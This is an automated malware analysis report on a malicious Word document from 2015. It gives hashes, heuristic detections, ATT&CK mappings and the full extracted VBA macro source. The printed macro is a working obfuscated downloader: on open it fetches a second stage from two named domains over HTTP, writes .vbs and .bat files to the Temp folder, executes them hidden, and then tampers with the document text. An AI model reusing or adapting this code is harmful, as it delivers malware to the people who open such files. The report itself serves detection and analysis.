Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 538709b6018dc9f4…

MALICIOUS

Office (OLE)

55.0 KB Created: 2015-08-05 11:39:00 Authoring application: Microsoft Office Word First seen: 2015-08-19
MD5: 330b9eef0226d1e46e79a8e494b82722 SHA-1: a1d4cc12110770d63c92b667d96f80eea0e4d046 SHA-256: 538709b6018dc9f482bc878dbc75f8511c80556a947fa7a5d8a978c9fac7e8ad
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Auto_Open functions, indicating an attempt to execute code upon opening. The macros construct a URL, specifically 'the embedded link' and 'the embedded link', to download a second-stage payload. The presence of 'CreateObject' and 'Shell' calls within the VBA code further supports the malicious intent of executing downloaded content.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    bydd = Shell(a, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Nqhdkjahsjdhjkqwhkdqwh = CreateObject(BTYQWFDYFQWTDWQAA)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5303 bytes
SHA-256: 46b3064ce6fc9640c98e19bac7eb407bce75a4323b440469b19589acc1576e82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Hhsgdhgjg_Open()
    BHJDQGW = "gh2j1 egjk21heeew das"
End Sub
Sub abdjabshdvas_Open()
    VSDWQAS = "1ge2jh12 ek1jhe jgjhge"
End Sub
Sub Auto_Open()
    Paramanaba
End Sub
Sub Paramanaba()
    BDMNAGHJQW = "2ehj ghjgsda s"
    Shapskdsa
End Sub
Sub AutoOpen()
    Paramanaba
End Sub
Sub Shapskdsa()
    
    Dim MADRID As String, MOTOROLA As String, KIPARIS As String
    Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String
    Dim PBIn As String, CONT As String
    Dim Ndjs As Integer
    Dim ABTH As String, BBTH As String
    Dim klmn As Integer, TTKK As String
    Dim GEFORCE1 As String, GEFORCE2 As String, hdjshd As Integer
    
    JHKDQW = Chr(10)
    KIPARIS = Chr(4 / 2 + 90)
    MADRID = Samsung(10049)
    MOTOROLA = "Te" & "mp"
    PH2 = Module1.Goabc(MOTOROLA) + KIPARIS
    
    ART = 315
    BFT = 316

    Ndjs = Sgn(Asc(Module2.Kakarumba(1)) - 433) + 105
    ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) + ":/" & "/"

    TSTS = "." + "tx" + "t"
    CDDD = "777763172631572" + TSTS
    LNSS = "rara" + TSTS
    STT1 = "contigoavanzo.com/ad" + "minis" + "trator/com" + "ponents/co" + "m_adm" + "intools/"
    STT2 = "anunciareuropa.com/"
    
    
    PBIn = ATTH + STT1 + CDDD
    
    CONT = Module2.Linolium(PBIn)
    BHJD = Right(CONT, 15)
    hdjshd = InStr(1, BHJD, "exit")
       
    If (hdjshd = 0) Then
    PBIn = ATTH + STT2 + CDDD
    CONT = Module2.Linolium(PBIn)
    NFBH = Module2.Linolium(ATTH + STT2 + LNSS)
    Else
    NFBH = Module2.Linolium(ATTH + STT1 + LNSS)
    End If
    
    Module2.Crispy (1)
    
    CPLRP1 = "pioneer"
    CPLRP2 = "paytina"
    CPLRP3 = "cranberry"
    
    CONT = Replace(CONT, CPLRP1, PH2, 1)
    CONT = Replace(CONT, CPLRP2, NFBH, 1)
    CONT2 = Replace(CONT, CPLRP3, MADRID, 1)
    
    TTKK = "$"
    
    klmn = CInt(Len(CONT2))
    For i = 1 To klmn
        If (Mid(CONT2, i, 1) = TTKK) Then
            If (Mid(CONT2, i - 1, 1) = TTKK) Then
                GEFORCE1 = Mid(CONT2, 1, i - 2)
                GEFORCE2 = Mid(CONT2, i + 1, klmn - i)
            End If
        End If
    Next i
    
    ABTH = PH2 + MADRID + ".vbs"
    BBTH = PH2 + MADRID + ".bat"
    
    
    Open ABTH For Output As #ART
    Print #ART, GEFORCE1
    Close #ART
    
    Module2.Crispy (1)
     
    Open BBTH For Output As #BFT
    Print #BFT, GEFORCE2
    Close #BFT
    
    Module2.Crispy (1)
    
    QUHDQ = Module2.Puhlo(BBTH)
    Module1.Hameleon
    
End Sub
Sub Workbook_Open()
    NDWNDQ = "2ehjk h kahsd aghsd"
    Paramanaba
End Sub
Public Function NHdjhasbdhas(a As Object)
NHdjhasbdhas = (a.responsetext)
End Function
 
Public Function Samsung(a As Integer)
Randomize
Samsung = CStr(Int((a / 2 * Rnd) + a))
End Function
Public Function Hhqudhqwgyuqwaaa(a As Integer)
Hhqudhqwgyuqwaaa = Sgn(a)
End Function




Attribute VB_Name = "Module1"
Sub Hameleon()
Dim ij As Integer
Dim charCount As Integer
charCount = ActiveDocument.Characters.Count - 1
ij = 0
Do While True
    ij = ij + 1
    If (ActiveDocument.Characters(ij) = "#") Then
        If (ActiveDocument.Characters(ij - 1) = "$") Then
            ActiveDocument.Range(Start:=0, End:=ij).Delete
            ActiveDocument.Range(Start:=0, End:=charCount - ij - 1).Font.ColorIndex = wdBlack
            Exit Do
        End If
    End If
    If (ij = charCount) Then
        Exit Do
    End If
Loop
End Sub

Public Function Goabc(sps As String)
BASDWQ = "hjdh gh2j1fh212112231"
Goabc = Environ(sps)
End Function






Attribute VB_Name = "Module2"
Public Function Puhlo(a As String)
Dim bydd As Variant
bydd = Shell(a, 0)
End Function

Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Nqhdkjahsjdhjkqwhkdqwh As Object, AHUDWQI As String
Dim ashdUHhda As String, dddc As Integer, AABDBHDDD As String, AsaHuhqdjhasd As String, AAHQJD As String
AsaHuhqdjhasd = nbqjbdjqw
ashdUHhda = AsaHuhqdjhasd
'fasdwqdq
dddc = 1 - (Atn(20))
HQDUQ = hhr(Val(81 + dddc))
BHQDHJWQDW = "ML2.ServerXMLH"
BYGDWHQGWHDWQ = BHQDHJWQDW + "TT" + HQDUQ
'asfasdqwdwq
AABDBHDDD = "E"
NBWHDWDQ = Chr(44 * 1 * 2 + 1 * 4 * dddc)
AABDBHDDD = "G" + AABDBHDDD & NBWHDWDQ
BTYQWFDYFQWTDWQAA = "MSX" + BYGDWHQGWHDWQ
'asdwqdqwds
Set Nqhdkjahsjdhjkqwhkdqwh = CreateObject(BTYQWFDYFQWTDWQAA)
Nqhdkjahsjdhjkqwhkdqwh.Open AABDBHDDD, ashdUHhda
Nqhdkjahsjdhjkqwhkdqwh.Send (AHUDWQI)
AAHQJD = ThisDocument.NHdjhasbdhas(Nqhdkjahsjdhjkqwhkdqwh)
Linolium = AAHQJD
End Function

Sub Crispy(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub

Public Function Kakarumba(n As Integer)
Dim i As Integer
For i = 1 To n Step 1
    Randomize
    Kakarumba = Kakarumba + Chr(Int(121 * Rnd) + 97)
Next i
End Function
Public Function hhr(sps As Integer)
hhr = Chr(sps)
End Function

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